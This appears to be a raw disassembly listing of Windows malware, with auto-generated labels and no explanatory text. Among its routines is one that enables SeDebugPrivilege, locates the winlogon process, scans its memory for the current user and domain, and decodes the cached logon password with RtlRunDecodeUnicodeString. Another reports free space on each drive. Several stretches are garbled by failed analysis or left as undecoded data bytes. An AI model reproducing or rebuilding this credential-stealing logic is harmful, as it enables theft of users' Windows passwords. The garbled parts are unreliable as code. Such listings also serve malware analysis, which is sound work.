		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416A5B
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B7B
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B7B
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B7B
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D720
		push	edx
		push	eax
		call	sub_416994
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D720
		push	edx
		push	eax
		call	sub_416994
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D720
		push	edx
		push	eax
		call	sub_416994
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 18h
		pop	ebx
		jmp	short loc_416BAA
; ---------------------------------------------------------------------------


loc_416B7B:				; CODE XREF: sub_416AA3+2Cj
					; sub_416AA3+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41BA76
		add	esp, 18h


loc_416BAA:				; CODE XREF: sub_416AA3+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416AA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BBE	proc near		; CODE XREF: sub_416C90+17p
					; sub_416C90+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416AA3
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C260
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416C31
		push	ebx
		push	ebx
		call	sub_416A12
		pop	ecx
		push	eax
		push	offset unk_43A4E8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41BB70
		add	esp, 14h
		jmp	short loc_416C65
; ---------------------------------------------------------------------------


loc_416C31:				; CODE XREF: sub_416BBE+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416A12
		pop	ecx
		push	eax
		push	offset unk_43A4AC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41BB70
		add	esp, 20h


loc_416C65:				; CODE XREF: sub_416BBE+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4152AE
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416BBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C90	proc near		; CODE XREF: seg000:00404005p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416CB1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416BBE
		add	esp, 10h
		jmp	short loc_416D10
; ---------------------------------------------------------------------------


loc_416CB1:				; CODE XREF: sub_416C90+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_4CDB60	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_41B6C5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_4CDB60	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416D07


loc_416CD5:				; CODE XREF: sub_416C90+75j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416CF8
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416BBE
		add	esp, 10h


loc_416CF8:				; CODE XREF: sub_416C90+54j
		push	esi
		call	sub_41B1D0
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_416CD5


loc_416D07:				; CODE XREF: sub_416C90+43j
		push	edi
		call	sub_41B2A1
		pop	ecx
		pop	edi
		pop	esi


loc_416D10:				; CODE XREF: sub_416C90+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C90	endp

; ---------------------------------------------------------------------------
byte_416D13	db 55h			; DATA XREF: seg000:004082EDo
		dd 0EC81EC8Bh, 49Ch, 5308458Bh,	0A7B95756h, 8B000000h
		dd 64BD8DF0h, 0F3FFFFFDh, 9880C7A5h, 1000002h, 8D000000h
		dd 0FFFEEC85h, 89E850FFh, 33000044h, 5BC80DBh, 0FFFFFEEBh
		dd 1475595Ch, 0FEEC858Dh, 0E850FFFFh, 4470h, 59C8859h
		dd 0FFFFFEEBh, 0FDE8858Dh, 6850FFFFh, 43A548h, 0FB64858Dh
		dd 68FFFFh, 50000002h, 4DEBE8h,	10C48300h, 75F85D39h, 858D5320h
		dd 0FFFFFB64h, 50F475FFh, 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h
		dd 2BBCE8FFh, 0C483FFFFh, 0EC858D14h, 53FFFFFEh, 0E8858D50h
		dd 50FFFFFDh, 0FD68858Dh, 75FFFFFFh, 0B5FF50F4h, 0FFFFFD64h
		dd 5AE8h, 858D5000h, 0FFFFFB64h, 43A52868h, 93E85000h
		dd 8300004Ch, 5D3924C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2B5Eh
		dd 8D14C483h, 0FFFB6485h, 97E850FFh, 0FFFFFFE4h, 68E8F075h
		dd 59FFFF44h, 0D9E85359h, 3D006F91h, 555B5E5Fh,	0EC81EC8Bh
		dd 54Ch, 0BE575653h, 104h, 8D1875FFh, 0FFFDB885h, 0A58C68FFh
		dd 50560043h, 4D1FE8h, 3D8B00h,	83004280h, 858D10C4h, 0FFFFFEBCh
		dd 0B8858D50h, 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 42AAE4BBh
		dd 0F6717400h, 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh
		dd 0E9BD8012h, 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh
		dd 0FFFEE885h, 858D50FFh, 0FFFFFCB4h, 531875FFh, 0BDE85056h
		dd 0FF00004Ch, 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh
		dd 75FF0C75h, 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh
		dd 0FF50FFFFh, 15FFFC75h, 42811Ch, 8F75C085h, 0E8FC75FFh
		dd 6F9110h, 1475FFF5h, 0FDB8858Dh, 75FFFFFFh, 50565318h
		dd 4C6BE8h, 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h
		dd 0D7FF50FFh, 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh
		dd 0B4858D50h, 0FFFFFFFAh, 70681875h, 680043A5h, 200h
		dd 4C2EE850h, 16A0000h,	0FAB4858Dh, 75FFFFFFh, 75FF5010h
		dd 875FF0Ch, 0FF2A0DE8h, 28C483FFh, 0FEBC858Dh,	5650FFFFh
		dd 811C15FFh, 0C0850042h, 0E856B175h, 6F908Ch, 1C458B43h
		dd 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F7D	proc near		; DATA XREF: seg000:00403740o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+90h], esi
		call	sub_41AACB
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416FBC
		cmp	eax, 2
		jz	short loc_416FBC
		push	offset unk_43A768
		jmp	loc_4170FB
; ---------------------------------------------------------------------------


loc_416FBC:				; CODE XREF: sub_416F7D+2Ej
					; sub_416F7D+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419828
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4170F6
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	ds:dword_4280B8	; LoadLibraryA
		mov	esi, ds:dword_4280BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	ds:dword_4D6A2C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	ds:dword_4D6A20, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	ds:dword_4D6C30, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	ds:dword_4D6A28, eax
		call	esi
		mov	ds:dword_4D6A24, eax
		call	sub_41714F
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4170C9
		mov	esi, ds:dword_428140
		mov	edi, 400h
		mov	ebx, offset dword_4D5A20
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_4D6220
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_4D6C34
		push	[ebp+arg_0]
		jnz	short loc_417075
		call	sub_4172D8
		jmp	short loc_41707A
; ---------------------------------------------------------------------------


loc_417075:				; CODE XREF: sub_416F7D+EFj
		call	sub_41747C


loc_41707A:				; CODE XREF: sub_416F7D+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4170C2
		cmp	ds:dword_4D6C34, 0
		jnz	short loc_4170A9
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_43A630
		push	200h
		push	eax
		call	sub_41BB70
		add	esp, 18h
		jmp	short loc_4170DC
; ---------------------------------------------------------------------------


loc_4170A9:				; CODE XREF: sub_416F7D+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4170B9
		call	sub_4175A9
		jmp	short loc_4170BE
; ---------------------------------------------------------------------------


loc_4170B9:				; CODE XREF: sub_416F7D+133j
		call	sub_417640


loc_4170BE:				; CODE XREF: sub_416F7D+13Aj
		pop	ecx
		push	eax
		jmp	short loc_4170CE
; ---------------------------------------------------------------------------


loc_4170C2:				; CODE XREF: sub_416F7D+101j
		push	offset unk_43A5F4
		jmp	short loc_4170CE
; ---------------------------------------------------------------------------


loc_4170C9:				; CODE XREF: sub_416F7D+B6j
		push	offset unk_43A5C8


loc_4170CE:				; CODE XREF: sub_416F7D+143j
					; sub_416F7D+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_4170DC:				; CODE XREF: sub_416F7D+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419828
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 0B10000h
		cmc
		pop	ebx
		jmp	short loc_417109
; ---------------------------------------------------------------------------


loc_4170F6:				; CODE XREF: sub_416F7D+4Ej
		push	offset unk_43A594


loc_4170FB:				; CODE XREF: sub_416F7D+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_417109:				; CODE XREF: sub_416F7D+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417130
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409966
		add	esp, 14h


loc_417130:				; CODE XREF: sub_416F7D+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4152AE
		push	[ebp+var_18]
		call	sub_40B287
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B10000h
		pop	esp
		pop	edi
		pop	esi
sub_416F7D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41714F	proc near		; CODE XREF: sub_416F7D+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_42814C
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_428148
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	ds:dword_4D6A2C
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_428144	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	ds:dword_4D6A2C
		test	eax, eax
		jnz	short loc_41723C
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_41723C
		xor	ecx, ecx
		mov	ebx, ebp
		inc	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_41723C


loc_4171D8:				; CODE XREF: sub_41714F+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_41722F
		push	0
		push	0
		call	ds:dword_4D6A20
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	ds:dword_4D6C30
		test	eax, eax
		jnz	short loc_417220
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D7CA
		pop	ecx
		push	eax
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417254


loc_417220:				; CODE XREF: sub_41714F+AAj
		test	edi, edi
		jz	short loc_41722B
		push	edi
		call	ds:dword_4D6A28


loc_41722B:				; CODE XREF: sub_41714F+D3j
		mov	eax, [esp+28h+var_10]


loc_41722F:				; CODE XREF: sub_41714F+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_4171D8


loc_41723C:				; CODE XREF: sub_41714F+6Dj
					; sub_41714F+7Aj ...
		xor	edi, edi


loc_41723E:				; CODE XREF: sub_41714F+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_428144	; RtlFreeHeap
		mov	eax, edi


loc_41724C:				; CODE XREF: sub_41714F+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417254:				; CODE XREF: sub_41714F+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_4172BD
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_41726A:				; CODE XREF: sub_41714F+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D7CA
		pop	ecx
		push	eax
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4172D1
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D7CA
		pop	ecx
		push	eax
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4172AF
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4172AF:				; CODE XREF: sub_41714F+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_41726A


loc_4172BD:				; CODE XREF: sub_41714F+10Fj
		test	edi, edi
		jz	short loc_4172C8
		push	edi
		call	ds:dword_4D6A28


loc_4172C8:				; CODE XREF: sub_41714F+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_41723E
; ---------------------------------------------------------------------------


loc_4172D1:				; CODE XREF: sub_41714F+13Cj
		xor	eax, eax
		jmp	loc_41724C
sub_41714F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172D8	proc near		; CODE XREF: sub_416F7D+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 0B10000h
		idiv	dword ptr [ebx]
		mov	byte ptr [ecx+775FC45h], 33h
		shr	cl, 78h
		add	[eax], eax
		add	[ebx+57530C45h], cl
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:dword_428158	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, ds:dword_42814C
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_428148
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, ds:dword_428154
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_417351
		xor	esi, esi
		jmp	loc_41746C
; ---------------------------------------------------------------------------


loc_417351:				; CODE XREF: sub_4172D8+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ds:dword_428150	; VirtualQueryEx
		test	eax, eax
		jz	loc_41745B
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_41745B
		test	[ebp+var_2B], 1
		jnz	loc_41745B	; CODE XREF: sub_4172D8+128j
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_41745B


loc_4173B4:				; CODE XREF: sub_4172D8+110j
		push	edi
		push	offset dword_4D5A20
		call	sub_426A24
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4173DC
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D6220
		call	sub_426A24
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4173EC


loc_4173DC:				; CODE XREF: sub_4172D8+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jb	short loc_4173B4
		jmp	short loc_41745B
; ---------------------------------------------------------------------------


loc_4173EC:				; CODE XREF: sub_4172D8+102j
		test	edi, edi
		jz	short loc_41745B
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 0B10000h
		loop	near ptr loc_417384+3
		sal	byte ptr [edx-73h], 45h
		fcom	qword ptr [eax-73h]
		inc	ebp
		in	al, dx
		push	eax
		call	near ptr 0B10000h
		adc	eax, 1074C085h
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax
		movzx	eax, byte ptr [edi+42Dh]
		mov	ds:dword_4D6C40, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	ds:dword_4D6C38, eax
		mov	ds:dword_4D6C3C, edi


loc_41745B:				; CODE XREF: sub_4172D8+90j
					; sub_4172D8+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_428144	; RtlFreeHeap
		mov	esi, [ebp+var_10]


loc_41746C:				; CODE XREF: sub_4172D8+74j
		push	[ebp+var_4]
		call	ds:dword_42806C	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		leave
		retn
sub_4172D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41747C	proc near		; CODE XREF: sub_416F7D:loc_417075p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 0B10000h
		wait
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	short loc_41749B
		leave
		retn
; ---------------------------------------------------------------------------


loc_41749B:				; CODE XREF: sub_41747C+1Bj
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_428158	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417563
		mov	edi, ds:dword_42814C


loc_4174C5:				; CODE XREF: sub_41747C+E1j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_428150	; VirtualQueryEx
		test	eax, eax
		jz	short loc_417551
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_417557
		test	[ebp+var_13], 1
		jnz	short loc_417557
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_428148	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 0B10000h
		pop	edi
		test	eax, eax
		jz	short loc_417543
		push	offset dword_4D5A20
		push	esi
		call	sub_426A24
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417543
		lea	eax, [esi+400h]
		push	offset dword_4D6220
		push	eax
		call	sub_426A24
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417575


loc_417543:				; CODE XREF: sub_41747C+9Dj
					; sub_41747C+AEj
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_428144	; RtlFreeHeap
		jmp	short loc_417557
; ---------------------------------------------------------------------------


loc_417551:				; CODE XREF: sub_41747C+5Bj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_417557:				; CODE XREF: sub_41747C+6Fj
					; sub_41747C+75j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_4174C5


loc_417563:				; CODE XREF: sub_41747C+3Dj
		xor	esi, esi


loc_417565:				; CODE XREF: sub_41747C+12Bj
		push	[ebp+arg_0]
		call	ds:dword_42806C	; CloseHandle
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417575:				; CODE XREF: sub_41747C+C5j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	ds:dword_4D6C38, ebx
		mov	ds:dword_4D6C3C, eax
		cmp	[eax], cl
		jnz	short loc_417597
		cmp	[eax+1], cl
		jz	short loc_41759F


loc_417597:				; CODE XREF: sub_41747C+114j
					; sub_41747C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417597


loc_41759F:				; CODE XREF: sub_41747C+119j
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		inc	esi
		mov	[eax], ecx
		jmp	short loc_417565
sub_41747C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175A9	proc near		; CODE XREF: sub_416F7D+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_4D6C34
		push	esi
		mov	esi, ds:dword_42814C
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_428148	; RtlAllocateHeap
		mov	ecx, ds:dword_4D6C34
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	ds:dword_4D6C3C
		push	eax
		call	sub_41C500
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr ds:dword_4D6C40
		push	eax
		call	ds:dword_4D6A24
		push	[ebp+var_4]
		mov	edi, offset dword_4D6A30
		push	offset dword_4D5A20
		push	offset dword_4D6220
		push	[ebp+arg_0]
		push	offset dword_43A7B8
		push	200h
		push	edi
		call	sub_41BB70
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_428144	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4175A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417640	proc near		; CODE XREF: sub_416F7D:loc_4170B9p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, ds:dword_4D6C34
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	ds:dword_42814C	; GetProcessHeap
		push	eax
		call	ds:dword_428148	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D6220
		mov	edi, 200h
		mov	esi, offset dword_4D5820


loc_417686:				; CODE XREF: sub_417640+FAj
		mov	eax, ds:dword_4D6C34
		add	eax, eax
		push	eax
		push	ds:dword_4D6C3C
		push	[ebp+var_14]
		call	sub_41C500
		add	esp, 0Ch
